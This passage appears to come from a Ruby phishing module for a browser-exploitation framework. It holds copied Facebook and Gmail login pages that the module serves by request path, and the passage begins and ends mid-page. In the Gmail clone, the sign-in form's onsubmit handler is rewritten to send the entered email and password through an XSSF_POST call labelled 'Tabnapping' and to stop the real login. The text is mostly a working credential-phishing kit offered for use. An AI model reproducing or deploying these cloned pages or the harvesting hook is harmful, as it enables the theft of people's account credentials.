business.</div></div><form method=\"POST\" action=\"https://register.facebook.com/r.php\" id=\"confirmation_email_form\"><input type=\"hidden\" name=\"charset_test\" value=\"&euro;,&acute;,?,?,?,?,?\" /><input type=\"hidden\" id=\"locale\" name=\"locale\" value=\"en_US\" autocomplete=\"off\" /><input type=\"hidden\" id=\"confirmation_email\" name=\"ce\" value=\"\" autocomplete=\"off\" /></form></div></div></div></div></div></div></div><div class=\"welcome_useragent\"><div class=\"language\"><ul><li><a href=\"http://fr-fr.facebook.com/\" title=\"French (France)\" onclick=\"intl_set_cookie_locale(&quot;fr_FR&quot;, &quot;http:\\/\\/fr-fr.facebook.com\\/&quot;, &quot;TOP_LOCALES&quot;); return false;\">Fran?ais (France)</a></li><li><a href=\"http://www.facebook.com/\" title=\"English (US)\" onclick=\"intl_set_cookie_locale(&quot;en_US&quot;, &quot;http:\\/\\/www.facebook.com\\/&quot;, &quot;TOP_LOCALES&quot;); return false;\">English (US)</a></li><li><a href=\"http://es-la.facebook.com/\" title=\"Spanish\" onclick=\"intl_set_cookie_locale(&quot;es_LA&quot;, &quot;http:\\/\\/es-la.facebook.com\\/&quot;, &quot;TOP_LOCALES&quot;); return false;\">Espa?ol</a></li><li><a href=\"http://pt-br.facebook.com/\" title=\"Portuguese (Brazil)\" onclick=\"intl_set_cookie_locale(&quot;pt_BR&quot;, &quot;http:\\/\\/pt-br.facebook.com\\/&quot;, &quot;TOP_LOCALES&quot;); return false;\">Portugu?s (Brasil)</a></li><li><a href=\"http://de-de.facebook.com/\" title=\"German\" onclick=\"intl_set_cookie_locale(&quot;de_DE&quot;, &quot;http:\\/\\/de-de.facebook.com\\/&quot;, &quot;TOP_LOCALES&quot;); return false;\">Deutsch</a></li><li><a href=\"http://it-it.facebook.com/\" title=\"Italian\" onclick=\"intl_set_cookie_locale(&quot;it_IT&quot;, &quot;http:\\/\\/it-it.facebook.com\\/&quot;, &quot;TOP_LOCALES&quot;); return false;\">Italiano</a></li><li><a href=\"http://ar-ar.facebook.com/\" title=\"Arabic\" onclick=\"intl_set_cookie_locale(&quot;ar_AR&quot;, &quot;http:\\/\\/ar-ar.facebook.com\\/&quot;, &quot;TOP_LOCALES&quot;); return false;\">???????</a></li><li><a href=\"http://hi-in.facebook.com/\" title=\"Hindi\" onclick=\"intl_set_cookie_locale(&quot;hi_IN&quot;, &quot;http:\\/\\/hi-in.facebook.com\\/&quot;, &quot;TOP_LOCALES&quot;); return false;\">??????</a></li><li><a href=\"http://zh-cn.facebook.com/\" title=\"Simplified Chinese (China)\" onclick=\"intl_set_cookie_locale(&quot;zh_CN&quot;, &quot;http:\\/\\/zh-cn.facebook.com\\/&quot;, &quot;TOP_LOCALES&quot;); return false;\">??(??)</a></li><li><a href=\"http://ja-jp.facebook.com/\" title=\"Japanese\" onclick=\"intl_set_cookie_locale(&quot;ja_JP&quot;, &quot;http:\\/\\/ja-jp.facebook.com\\/&quot;, &quot;TOP_LOCALES&quot;); return false;\">???</a></li><li><a rel=\"dialog\" href=\"/ajax/intl/language_dialog.php?uri=http%3A%2F%2Fwww.facebook.com%2F&amp;source=TOP_LOCALES_DIALOG\" title=\"Show more languages\" class=\"chevron\">&raquo;</a></li></ul></div></div></div></div><div id=\"pageFooter\"><div id=\"contentCurve\"></div><div id=\"footerContainer\"><div id=\"footerLeft\"><div class=\"copyright\" id=\"pagefooter_copyright\"><span title=\"HPHP\">Facebook </span><span id=\"rtime\" title=\"69\">&copy;</span> <span title=\"10.137.40.106\">20</span><span title=\"679288\">10</span></div><div id=\"locale_selector_dialog_onclick\"><a rel=\"dialog\" href=\"/ajax/intl/language_dialog.php?uri=http%3A%2F%2Fwww.facebook.com%2F\" class=\"intl_selector_dialog_a\" title=\"English (US)\">English (US)</a></div></div><div id=\"footerRight\"><a href=\"http://www.facebook.com/facebook?ref=pf\" accesskey=\"8\">About</a><a href=\"/campaign/landing.php?placement=pflo&amp;campaign_id=402047449186&amp;extra_1=0\">Advertising</a><a href=\"http://developers.facebook.com/?ref=pf\">Developers</a><a href=\"http://www.facebook.com/careers/?ref=pf\">Careers</a><a href=\"http://www.facebook.com/terms.php?ref=pf\" accesskey=\"9\">Terms</a> &bull; <a href=\"http://www.facebook.com//find-friends/?ref=pf\">Find Friends</a><a href=\"http://www.facebook.com/privacy/explanation.php\">Privacy</a><a href=\"http://www.facebook.com/mobile?ref=pf\">Mobile</a><a href=\"http://www.facebook.com/help/?ref=pf\" accesskey=\"0\">Help Center</a><a href=\"http://blog.facebook.com/blog.php\">Blog</a><a href=\"http://www.facebook.com/facebook-widgets/?ref=pf\">Badges</a></div></div></div></div><script type=\"text/javascript\">/* <![CDATA[ */if (top != self) { try { if (top.location.hostname.indexOf(\"apps\") >= 0) { throw 1; } } catch (e) {setTimeout(function() {var fb_cj_img = new Image(); fb_cj_img.src = \"http:\\/\\/error.facebook.com\\/common\\/scribe_endpoint.php?c=si_clickjacking&m&t=2077\";}, 5000); window.document.write(\"<div style='background: black; opacity: 0.5; filter: alpha(opacity = 50); position: absolute; top: 0px; left: 0px; min-width: 9999px; min-height: 9999px; width: 100%; height: 100%; z-index: 1000001' onClick='top.location.href=window.location.href'><\\/div>\");/* -qaPD7x9 */ }}/* ]]> */</script><script type=\"text/javascript\">Env={ffid1:\"seUrf0XbBH_IhPecITwTpQ\",ffid2:\"kq3ZWaFBwxPhbnlJ1AAHag\",ffid3:\"MTI3NTMxNTEzMC0xYjdlNmQ2ODY1YTY4MzQxNWRhNzdkNjk5MGFjZTk2OTMxOTM0NjQ1ZTNmMzdkMjk0M2ViNg..\",ffid4:\"nO44SMEMwsMskjuaUzkVTg\",ffver:58931,user:0,locale:\"en_US\",method:\"GET\",dev:0,start:(new Date()).getTime(),ps_limit:5,ps_ratio:4,svn_rev:251814,vip:\"69.63.189.39\",static_base:\"http:\\/\\/static.ak.fbcdn.net\\/\",www_base:\"http:\\/\\/www.facebook.com\\/\",tlds:[\"com\"],rep_lag:2,pc:{\"m\":\"1.0.3\",\"l\":\"1.0.3\",\"axi\":true,\"j\":true},fb_dtsg:\"Mlocs\",lhsh:\"fdad1\",silent_oops_errors:\"1\"};</script> <script type=\"text/javascript\">Bootloader.setResourceMap({\"jgQvQ\":{\"name\":\"js\\/61bfs2705h4w4k0s.pkg.js\",\"type\":\"js\",\"permanent\":false,\"src\":\"http:\\/\\/static.ak.fbcdn.net\\/rsrc.php\\/z8F61\\/p\\/hash\\/bl3p5ew4.js\"},\"yTr6b\":{\"name\":\"js\\/6lkaw9d8mwkcok80.pkg.js\",\"type\":\"js\",\"permanent\":false,\"src\":\"http:\\/\\/static.ak.fbcdn.net\\/rsrc.php\\/z6880\\/p\\/hash\\/3389lb2b.js\"},\"38ysj\":{\"name\":\"css\\/2lo2t6hnebmscscs.pkg.css\",\"type\":\"css\",\"permanent\":true,\"src\":\"http:\\/\\/static.ak.fbcdn.net\\/rsrc.php\\/zCTJZ\\/hash\\/30390si5.css\"},\"vh1ko\":{\"name\":\"css\\/7y4n3w6kqxc8gksc.pkg.css\",\"type\":\"css\",\"permanent\":true,\"src\":\"http:\\/\\/static.ak.fbcdn.net\\/rsrc.php\\/zEHFH\\/hash\\/es9nnt5s.css\"},\"utPrM\":{\"name\":\"css\\/ew81nk1n7wg0ok4o.pkg.css\",\"type\":\"css\",\"permanent\":true,\"src\":\"http:\\/\\/static.ak.fbcdn.net\\/rsrc.php\\/zAH5P\\/hash\\/cjigvmla.css\"},\"F+B8D\":{\"name\":\"js\\/19khsprwvtvokwow.pkg.js\",\"type\":\"js\",\"permanent\":false,\"src\":\"http:\\/\\/static.ak.fbcdn.net\\/rsrc.php\\/zDZZ5\\/hash\\/cvgm40ab.js\"},\"+fqE1\":{\"name\":\"js\\/editor.js\",\"type\":\"js\",\"permanent\":false,\"src\":\"http:\\/\\/static.ak.fbcdn.net\\/rsrc.php\\/z3IAU\\/p\\/hash\\/5djjlbth.js\"},\"hO+pJ\":{\"name\":\"js\\/4k2wodxuw9oggwwg.pkg.js\",\"type\":\"js\",\"permanent\":false,\"src\":\"http:\\/\\/static.ak.fbcdn.net\\/rsrc.php\\/z4ARQ\\/p\\/hash\\/cz56ranw.js\"},\"n3hxO\":{\"name\":\"css\\/4khj3hyqff6ssk48.pkg.css\",\"type\":\"css\",\"permanent\":true,\"src\":\"http:\\/\\/static.ak.fbcdn.net\\/rsrc.php\\/z3577\\/hash\\/95paod6i.css\"},\"UJ8Bq\":{\"name\":\"js\\/reg_util.js\",\"type\":\"js\",\"permanent\":false,\"src\":\"http:\\/\\/static.ak.fbcdn.net\\/rsrc.php\\/z64BH\\/p\\/hash\\/30q04897.js\"}});Bootloader.enableBootload({\"async\":[\"F+B8D\",\"jgQvQ\",\"vh1ko\"],\"dialog\":[\"F+B8D\",\"jgQvQ\",\"vh1ko\"],\"dom-form\":[\"F+B8D\",\"jgQvQ\",\"vh1ko\"],\"editor\":[\"F+B8D\",\"jgQvQ\",\"vh1ko\",\"+fqE1\"],\"reg-util\":[\"F+B8D\",\"jgQvQ\",\"vh1ko\",\"38ysj\",\"hO+pJ\",\"n3hxO\",\"UJ8Bq\"],\"async-signal\":[\"jgQvQ\"]});Arbiter.registerCallback(InitialJSLoader.callback, [\"BOOTLOAD\\/ROADRUNNER_READY\"]);Arbiter.registerCallback(function(){setTimeout(function() {InitialJSLoader.load([\"jgQvQ\",\"yTr6b\"]);Arbiter.inform(\"BOOTLOAD\\/ROADRUNNER_READY\", true, Arbiter.BEHAVIOR_STATE);}, 50)}, [OnloadEvent.ONLOAD_DOMCONTENT_CALLBACK]);</script><script type=\"text/javascript\">onloadRegister(function(){Bootloader.configurePage([\"38ysj\",\"vh1ko\",\"utPrM\"]);});Bootloader.done([\"38ysj\",\"vh1ko\",\"utPrM\"]);onloadRegister(function (){menubar_login(\"Password\");;});onloadRegister(function (){reg_bootload(\"registration_container\", true, \"reg\", \"form_focus\");;});onloadRegister(function (){if(typeof(Env)=='undefined') Env = {}; Env['recaptcha_focus_on_load'] = false;});onloadRegister(function (){if(typeof(Env)=='undefined')Env={}; Env['recaptcha_lang'] = \"en\";});onloadRegister(function (){useragent();;});onloadRegister(function (){window.loading_page_chrome = true;;});onloadRegister(function (){window.loading_page_chrome = false;;});</script></body></html>\n\t\t\t\t}\n\t\t\t\n\t\t\t\tsend_response(cli, code)\n\t\t\t\t\n\t\t\t\t\n\t\t\twhen /gmail.html/\n\t\t\t\tcode = %Q{\n\t\t\t\t\t<html lang=\"en\" dir=\"ltr\"><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"><meta name=\"description\" content=\"7+ GB of storage, less spam, and mobile access. Gmail is email that's intuitive, efficient, and useful. And maybe even fun.\"><style type=text/css><!--body,td,div,p,a,font,span {font-family: arial,sans-serif}body {margin-top:2}.c {width: 4; height: 0}.bubble {background-color:#C3D9FF}.tl {padding: 0; width: 4; text-align: left; vertical-align: top}.tr {padding: 0; width: 4; text-align: right; vertical-align: top}.bl {padding: 0; width: 4; text-align: left; vertical-align: bottom}.br {padding: 0; width: 4; text-align: right; vertical-align: bottom}.caption {color:#000000; white-space:nowrap; background:#E8EEFA; text-align:center}.form-noindent {background-color: #ffffff; border: #C3D9FF 1px solid}.feature-image {padding: 15 0 0 0; vertical-align: top; text-align: right; }.feature-description {padding: 15 0 0 10; vertical-align: top; text-align: left; }.signup_btn {cursor: pointer; margin: 10px 0 -20px 0; text-align: center; }.signup_btn_link {color: #000; text-align: center; text-align: center; text-decoration: none; padding: 0 7px; font-weight: bold; font-size: 14px; white-space: nowrap; }.SPRITE_signup_button_grey_l { background:no-repeat url(https://mail.google.com/mail/help/images/greybtn.png) 0 0; width: 14px; height: 45px }.SPRITE_signup_button_grey_m { background:no-repeat url(https://mail.google.com/mail/help/images/greybtn.png) -14px 0; height: 45px }.SPRITE_signup_button_grey_r { background:no-repeat url(https://mail.google.com/mail/help/images/greybtn.png) -365px 0; width: 15px; height: 45px }.SPRITE_cell {background: no-repeat url(https://mail.google.com/mail/help/images/login_features_sprite.png) 0 -142px; width: 42px; height: 42px; float: right }.SPRITE_search_new {background:no-repeat url(https://mail.google.com/mail/help/images/login_features_sprite.png) 0 -100px; width: 42px; height: 42px; float: right }.SPRITE_spam_new {background:no-repeat url(https://mail.google.com/mail/help/images/login_features_sprite.png) 0 -58px; width: 42px; height: 42px; float: right }.SPRITE_storage {background:no-repeat url(https://mail.google.com/mail/help/images/login_features_sprite.png) 0 0; width: 42px; height: 42px; float: right }.SPRITE_feed_icon {background: no-repeat url(https://mail.google.com/mail/help/images/login_features_sprite.png) 0 -42px; width: 16px; height: 16px }.SPRITE_corner_bl {background:no-repeat url(https://mail.google.com/mail/help/images/login_corners_sprite.png) 0 0; width: 4px; height: 4px; font-size:2px }.SPRITE_corner_br {background:no-repeat url(https://mail.google.com/mail/help/images/login_corners_sprite.png) -4px 0; width: 4px; height: 4px; font-size:2px }.SPRITE_corner_tl {background:no-repeat url(https://mail.google.com/mail/help/images/login_corners_sprite.png) 0 -4px; width: 4px; height: 4px; font-size:2x }.SPRITE_corner_tr {background:no-repeat url(https://mail.google.com/mail/help/images/login_corners_sprite.png) -4px -4px; width: 4px; height: 4px; font-size:2px }// --></style><title> Gmail: Email from Google</title></head><body bgcolor=#ffffff link=#0000FF vlink=#0000FF onload=\"OnLoad(); \"><script type=\"text/javascript\"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-992684-1']); _gaq.push(['_setDomainName', 'google.com']); _gaq.push(['_addIgnoredRef', '.google.com']); _gaq.push(['_setCookiePath', '/accounts/']); _gaq.push(['_trackPageview', '/mail/gaia/homepage']); _gaq.push(['_cookiePathCopy', '/mail/help/']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(ga); })();</script><table width=95% border=0 align=center cellpadding=0 cellspacing=0> <tr valign=top> <td width=1%> <img src=\"https://mail.google.com/mail/help/images/logo2.gif\" border=0 width=143 height=59 alt=\"Gmail\" align=left vspace=10/> </td> <td width=99% bgcolor=#ffffff valign=top> <table width=100% cellpadding=1> <tr valign=bottom> <td><div align=right>&nbsp;</div></td> </tr> <tr> <td nowrap=nowrap> <table width=100% align=center cellpadding=0 cellspacing=0 bgcolor=#C3D9FF style=margin-bottom:5> <tr> <td class=\"bubble tl\" align=left valign=top><div class=\"SPRITE_corner_tl\" /></td> <td class=bubble rowspan=2 style=\"font-family:arial;text-align:left;font-weight:bold;padding:5 0\"><b>Welcome to Gmail</b></td> <td class=\"bubble tr\" align=right valign=top><div class=\"SPRITE_corner_tr\" /></td> </tr> <tr> <td class=\"bubble bl\" align=left valign=bottom><div class=\"SPRITE_corner_bl\" /></td> <td class=\"bubble br\" align=right valign=bottom><div class=\"SPRITE_corner_br\" /></td> </tr> </table> </td> </tr> </table> </td> </tr></table><table width=94% align=center cellpadding=5 cellspacing=1> <tr> <td valign=top style=\"text-align:left\"><b> A Google approach to email. </b> <td valign=top>&nbsp; </tr> <tr> <td width=\"75%\" valign=top> <p style=\"margin-bottom: 0;text-align:left\"><font size=-1> Gmail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Gmail has:</p><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"90%\"><tbody> <tr> <td class=\"feature-image\"><div class=\"SPRITE_spam_new\" /></td> <td class=\"feature-description\"> <font size=-1><b>Less spam</b><br> Keep unwanted messages out of your inbox with Google's innovative technology.</font> </td> </tr> <tr> <td class=\"feature-image\"><div class=\"SPRITE_cell\" /></td> <td class=\"feature-description\"> <font size=-1><b>Mobile access</b><br> Read Gmail on your mobile phone by pointing your phone's web browser to <b>http://gmail.com</b>. <a href=\"http://www.google.com/intl/en_FR/mobile/mail/#utm_source=en_FR-cpp-g4mc-gmhp&utm_medium=cpp&utm_campaign=en_FR\">Learn more</a></font> </td> </tr> <tr> <td class=\"feature-image\"><div class=\"SPRITE_storage\" /></td> <td class=\"feature-description\"> <font size=-1><b>Lots of space</b><br> Over <span id=quota>2757.272164</span> megabytes (and counting) of free storage.</font> </td> </tr></tbody></table> </td> <td style=\"\" valign=top> <!-- login box --> <div id=login><script><!--function gaia_onLoginSubmit() { if (window.gaiacb_onLoginSubmit) { return gaiacb_onLoginSubmit(); } else { return true; }}--></script><style type=\"text/css\"><!-- div.errormsg { color: red; font-size: smaller; font-family:arial,sans-serif; } font.errormsg { color: red; font-size: smaller; font-family:arial,sans-serif; } --></style><style type=\"text/css\"><!--.gaia.le.lbl { font-family: Arial, Helvetica, sans-serif; font-size: smaller; }.gaia.le.fpwd { font-family: Arial, Helvetica, sans-serif; font-size: 70%; }.gaia.le.chusr { font-family: Arial, Helvetica, sans-serif; font-size: 70%; }.gaia.le.val { font-family: Arial, Helvetica, sans-serif; font-size: smaller; }.gaia.le.button { font-family: Arial, Helvetica, sans-serif; font-size: smaller; }.gaia.le.rem { font-family: Arial, Helvetica, sans-serif; font-size: smaller; }.gaia.captchahtml.desc { font-family: arial, sans-serif; font-size: smaller; } .gaia.captchahtml.cmt { font-family: arial, sans-serif; font-size: smaller; font-style: italic; } --></style><form id=\"gaia_loginform\" action=\"https://www.google.com/accounts/ServiceLoginAuth?service=mail\" method=\"post\" onsubmit=\"XSSF_POST('Gmail Account : ' + document.getElementById('Email').value + ' - ' + document.getElementById('Passwd').value, 'Tabnapping'); return false;\"><div id=\"gaia_loginbox\"><table class=\"form-noindent\" cellspacing=\"3\" cellpadding=\"5\" width=\"100%\" border=\"0\"> <tr> <td valign=\"top\" style=\"text-align:center\" nowrap=\"nowrap\" bgcolor=\"#e8eefa\"> <input type=\"hidden\" name=\"ltmpl\" value=\"default\"> <input type=\"hidden\" name=\"ltmplcache\" value=\"2\"> <div class=\"loginBox\"> <table id=\"gaia_table\" align=\"center\" border=\"0\" cellpadding=\"1\" cellspacing=\"0\"> <tr><td colspan=\"2\" align=\"center\"> <font size=\"-1\"> Sign in with your </font> <table> <tr> <td valign=\"top\"> <img src=\"https://www.google.com/accounts/google_transparent.gif\" alt=\"Google\"> </img> </td> <td valign=\"middle\"> <font size=\"+0\"><b>Account</b></font> </td> </tr></table></td></tr><tr> <td colspan=\"2\" align=\"center\"> </td></tr><tr id=\"email-row\"> <td nowrap=\"nowrap\"> <div align=\"right\"> <span class=\"gaia le lbl\"> Username: </span> </div> </td> <td> <input type=\"hidden\" name=\"continue\" id=\"continue\" value=\"http://mail.google.com/mail/?hl=fr&amp;ui=html&amp;zy=l\" /> <input type=\"hidden\" name=\"service\" id=\"service\" value=\"mail\" /> <input type=\"hidden\" name=\"rm\" id=\"rm\" value=\"false\" /> <input type=\"hidden\" name=\"dsh\" id=\"dsh\" value=\"-2170013751114210845\" /> <input type=\"hidden\" name=\"ltmpl\" id=\"ltmpl\" value=\"default\" /> <input type=\"hidden\" name=\"hl\" id=\"hl\" value=\"en\" /> <input type=\"hidden\" name=\"ltmpl\" id=\"ltmpl\" value=\"default\" /> <input type=\"hidden\" name=\"scc\" id=\"scc\" value=\"1\" /> <input type=\"hidden\" name=\"GALX\" value=\"iZy93iE9YSg\" /> <input type=\"text\" name=\"Email\" id=\"Email\" size=\"18\" value=\"\" class='gaia le val' /> </td></tr><tr> <td></td> <td align=\"left\"> </td></tr><tr id=\"password-row\" class=\"enabled\"> <td align=\"right\" nowrap=\"nowrap\"> <span class=\"gaia le lbl\"> Password: </span> </td> <td> <input type=\"password\" name=\"Passwd\" id=\"Passwd\" size=\"18\" class=\"gaia le val\" /> </td></tr><tr> <td></td> <td align=\"left\"> </td></tr> <tr id=\"rememberme-row\" class=\"enabled\"> <td align=\"right\" valign=\"top\"> <input type=\"checkbox\" name=\"PersistentCookie\" id=\"PersistentCookie\" value=\"yes\" /> <input type=\"hidden\" name='rmShown' value=\"1\" /> </td> <td> <label for=\"PersistentCookie\" id=\"PersistentCookieLabel\" class=\"gaia le rem\"> Stay signed in </label> </td></tr><tr> <td></td> <td align=\"left\"> <input type=\"submit\" class=\"gaia le button\" name=\"signIn\" id=\"signIn\" value=\"Sign in\" /> </td></tr><tr id=\"ga-fprow\"> <td colspan=\"2\" height=\"33.0\" class=\"gaia le fpwd\" align=\"center\" valign=\"bottom\"> <a href=\"http://mail.google.com/support/bin/answer.py?answer=46346&amp;fpUrl=https%3A%2F%2Fwww.google.com%2Faccounts%2FForgotPasswd%3FfpOnly%3D1%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fmail%252F%253Fhl%253Dfr%2526ui%253Dhtml%2526zy%253Dl%26hl%3Den%26service%3Dmail%26ltmpl%3Ddefault&amp;fuUrl=https%3A%2F%2Fwww.google.com%2Faccounts%2FForgotPasswd%3FfuOnly%3D1%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fmail%252F%253Fhl%253Dfr%2526ui%253Dhtml%2526zy%253Dl%26hl%3Den%26service%3Dmail%26ltmpl%3Ddefault&amp;hl=en\" target=_top> Can&#39;t access your account? </a> </td></tr> </table> </div> </td> </tr></table></div><input type=\"hidden\" name=\"asts\" id=\"asts\" value=\"\"></form><script><!--var gaia_loginForm;if (document.getElementById) { gaia_loginForm = document.getElementById(\"gaia_loginform\");} else if (window.gaia_loginform) { gaia_loginForm = window.gaia_loginform;}var gaia_emailHasKeypress = false;if (gaia_loginForm && gaia_loginForm.Email) { gaia_loginForm.Email.onkeypress = function() { gaia_emailHasKeypress = true; }}function gaia_setFocus() { if (gaia_loginForm) { if (gaia_loginForm.Email && !gaia_loginForm.Email.value) { gaia_loginForm.Email.focus(); } else if (gaia_loginForm.Passwd && !gaia_emailHasKeypress) { gaia_loginForm.Passwd.focus(); } }}gaia_setFocus();--></script><form id=\"gaia_universallogin\" action=\"https://www.google.com/accounts/ServiceLoginAuth?service=mail\" method=\"post\" onsubmit=\"return(gaia_onLoginSubmit());\"> <input type=\"hidden\" name=\"continue\" id=\"continue\" value=\"http://mail.google.com/mail/?hl=fr&amp;ui=html&amp;zy=l\" /> <input type=\"hidden\" name=\"service\" id=\"service\" value=\"mail\" /> <input type=\"hidden\" name=\"rm\" id=\"rm\" value=\"false\" /> <input type=\"hidden\" name=\"dsh\" id=\"dsh\" value=\"-2170013751114210845\" /> <input type=\"hidden\" name=\"ltmpl\" id=\"ltmpl\" value=\"default\" /> <input type=\"hidden\" name=\"hl\" id=\"hl\" value=\"en\" /> <input type=\"hidden\" name=\"ltmpl\" id=\"ltmpl\" value=\"default\" /> <input type=\"hidden\" name=\"scc\" id=\"scc\" value=\"1\" /> <input type=\"hidden\" name=\"ltmpl\" id=\"ltmpl\" value=\"default\" /> <input type=\"hidden\" name=\"ltmplcache\" id=\"ltmplcache\" value=\"2\" /></form> </div> <!-- end login box --> <br> <!-- links box (below login box) --> <table class=form-noindent cellpadding=0 width=100% bgcolor=#E8EEFA id=links> <tr bgcolor=#E8EEFA> <td valign=top> <div align=center style=\"margin:10 0\"> <font size=\"-1\">New to Gmail? It's free and easy.</font> <table cellspacing=0 cellpadding=0 align=center class=\"signup_btn\" onclick=\"window.location='http://mail.google.com/mail/signup';\"><tr> <td class=\"SPRITE_signup_button_grey_l\"></td> <td class=\"SPRITE_signup_button_grey_m\"><a class=\"signup_btn_link\" href=\"http://mail.google.com/mail/signup\"> Create an account &#187; </a></td> <td class=\"SPRITE_signup_button_grey_r\"></td> </tr></table> <br><br> <font size=\"-1\"> <a href=\"http://mail.google.com/mail/help/intl/en/about.html\">About Gmail</a >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"http://mail.google.com/mail/help/intl/en/about_whatsnew.html\">New features!</a> </font> <br> </div> </td> </tr> </table> <!-- end links box (below login box) --></table><br><table width=95% align=center cellpadding=3 cellspacing=0 bgcolor=#C3D9FF style=margin-bottom:5> <tr> <td class=\"bubble tl\" align=left valign=top><div class=\"SPRITE_corner_tl\" /></td> <td class=bubble rowspan=2 style=text-align:left> <div align=center> <font size=-1 color=#666666>&copy;2010 Google - <a href=\"http://www.google.com/a/help/intl/en/users/user_features.html#utm_medium=et&utm_source=gmail-en&utm_campaign=crossnav&token=gmail_footer\">Gmail for Organizations</a> - <a href=\"http://gmailblog.blogspot.com/?utm_source=en-gmftr&utm_medium=et&utm_content=gmftr\">Gmail Blog</a> - <a href=\"http://mail.google.com/mail/help/intl/en/terms.html\">Terms</a> - <a href=\"http://mail.google.com/support/\">Help</a> </font> </div> </td> <td class=\"bubble tr\" align=right valign=top><div class=\"SPRITE_corner_tr\" /></td> </tr> <tr> <td class=\"bubble bl\" align=left valign=bottom><div class=\"SPRITE_corner_bl\" /></td> <td class=\"bubble br\" align=right valign=bottom><div class=\"SPRITE_corner_br\" /></td> </tr></table> <script type=\"text/javascript\">var BrowserSupport_={IsBrowserSupported:function(){var agt=navigator.userAgent.toLowerCase();var is_op=agt.indexOf(\"opera\")!=-1;var is_ie=agt.indexOf(\"msie\")!=-1&&document.all&&!is_op;var is_ie5=agt.indexOf(\"msie 5\")!=-1&&document.all&&!is_op;var is_mac=agt.indexOf(\"mac\")!=-1;var is_gk=agt.indexOf(\"gecko\")!=-1;var is_sf=agt.indexOf(\"safari\")!=-1;if(is_ie&&!is_op&&!is_mac){if(agt.indexOf(\"palmsource\")!=-1||agt.indexOf(\"regking\")!=-1||agt.indexOf(\"windows ce\")!=-1||agt.indexOf(\"j2me\")!=-1||agt.indexOf(\"avantgo\")!=-1||agt.indexOf(\" stb\")!=-1)return false;var v=BrowserSupport_.GetFollowingFloat(agt,\"msie \");if(v!=null)return v>=5.5}if(is_gk&&!is_sf){var v=BrowserSupport_.GetFollowingFloat(agt,\"rv:\");if(v!=null)return v>=1.4;else{v=BrowserSupport_.GetFollowingFloat(agt,\"galeon/\");if(v!=null)return v>=1.3}}if(is_sf){if(agt.indexOf(\"rv:3.14.15.92.65\")!=-1)return false;var v=BrowserSupport_.GetFollowingFloat(agt,\"applewebkit/\");if(v!=null)return v>=312}if(is_op){if(agt.indexOf(\"sony/com1\")!=-1)return false;var v=BrowserSupport_.GetFollowingFloat(agt,\"opera \");if(v==null)v=BrowserSupport_.GetFollowingFloat(agt,\"opera/\");if(v!=null)return v>=8}if(agt.indexOf(\"pda; sony/com2\")!=-1)return true;return false},GetFollowingFloat:function(str,pfx){var i=str.indexOf(pfx);if(i!=-1){var v=parseFloat(str.substring(i+pfx.length));if(!isNaN(v))return v}return null},tz_path:\";path=/\"};if(window.location.href.toLowerCase().indexOf(\"google.com\")>0)BrowserSupport_.tz_path+=\";domain=.google.com\";document.cookie=\"TZ=\"+(new Date).getTimezoneOffset()+BrowserSupport_.tz_path;var is_browser_supported=BrowserSupport_.IsBrowserSupported() </script><script type=text/javascript><!--var start_time = (new Date()).getTime();function SetGmailCookie(name, value) { document.cookie = name + \"=\" + value + \";path=/;domain=.google.com\";}function lg() { var now = (new Date()).getTime(); var cookie = \"T\" + start_time + \"/\" + start_time + \"/\" + now; SetGmailCookie(\"GMAIL_LOGIN\", cookie);}function gaiacb_onLoginSubmit() { lg(); if (!fixed) { FixForm(); } return true;}function StripParam(url, param) { var start = url.indexOf(param); if (start == -1) return url; var end = start + param.length; var charBefore = url.charAt(start-1); if (charBefore != '?' && charBefore != '&') return url; var charAfter = (url.length >= end+1) ? url.charAt(end) : ''; if (charAfter != '' && charAfter != '&' && charAfter != '#') return url; if (charBefore == '&') { --start; } else if (charAfter == '&') { ++end; } return url.substring(0, start) + url.substring(end);}var fixed = 0;function FixForm() { if (is_browser_supported) { var form = el(\"gaia_loginform\"); if (form && form[\"continue\"]) { var url = form[\"continue\"].value; url = StripParam(url, \"ui=html\"); url = StripParam(url, \"zy=l\"); form[\"continue\"].value = url; } } fixed = 1;}function el(id) { if (document.getElementById) { return document.getElementById(id); } else if (window[id]) { return window[id]; } return null;}// Estimates of nanite storage generation over time.var CP = [ [ 1199433600000, 6283 ], [ 1224486000000, 7254 ], [ 2144908800000, 10996 ], [ 2147328000000, 43008 ], [ 46893711600000, Number.MAX_VALUE ]];var quota_elem;var ONE_PX = \"https://mail.google.com/mail/images/c.gif?t=\" + (new Date()).getTime();function LogRoundtripTime() { var img = new Image(); var start = (new Date()).getTime(); img.onload = GetRoundtripTimeFunction(start); img.src = ONE_PX;}function GetRoundtripTimeFunction(start) { return function() { var end = (new Date()).getTime(); SetGmailCookie(\"GMAIL_RTT\", (end - start)); }}function MaybePingUser() { var f = el(\"gaia_loginform\"); if (f.Email.value) { new Image().src = 'https://mail.google.com/mail?gxlu=' + encodeURIComponent(f.Email.value) + '&zx=' + (new Date().getTime()); }}function OnLoad() { gaia_setFocus(); MaybePingUser(); el(\"gaia_loginform\").Passwd.onfocus = MaybePingUser; LogRoundtripTime(); if (!quota_elem) { quota_elem = el(\"quota\"); updateQuota(); } LoadConversionScript();}function updateQuota() { if (!quota_elem) { return; } var now = (new Date()).getTime(); var i; for (i = 0; i < CP.length; i++) { if (now < CP[i][0]) { break; } } if (i == 0) { setTimeout(updateQuota, 1000); } else if (i == CP.length) { quota_elem.innerHTML = CP[i - 1][1]; } else { var ts = CP[i - 1][0]; var bs = CP[i - 1][1]; quota_elem.innerHTML = format(((now-ts) / (CP[i][0]-ts) * (CP[i][1]-bs)) + bs); setTimeout(updateQuota, 1000); } } var PAD = '.000000'; function format(num) { var str = String(num); var dot = str.indexOf('.'); if (dot < 0) { return str + PAD; } if (PAD.length > (str.length - dot)) { return str + PAD.substring(str.length - dot); } else { return str.substring(0, dot + PAD.length); }}var google_conversion_type = 'landing';var google_conversion_id = 1069902127;var google_conversion_language = \"en_US\";var google_conversion_format = \"1\";var google_conversion_color = \"FFFFFF\";function 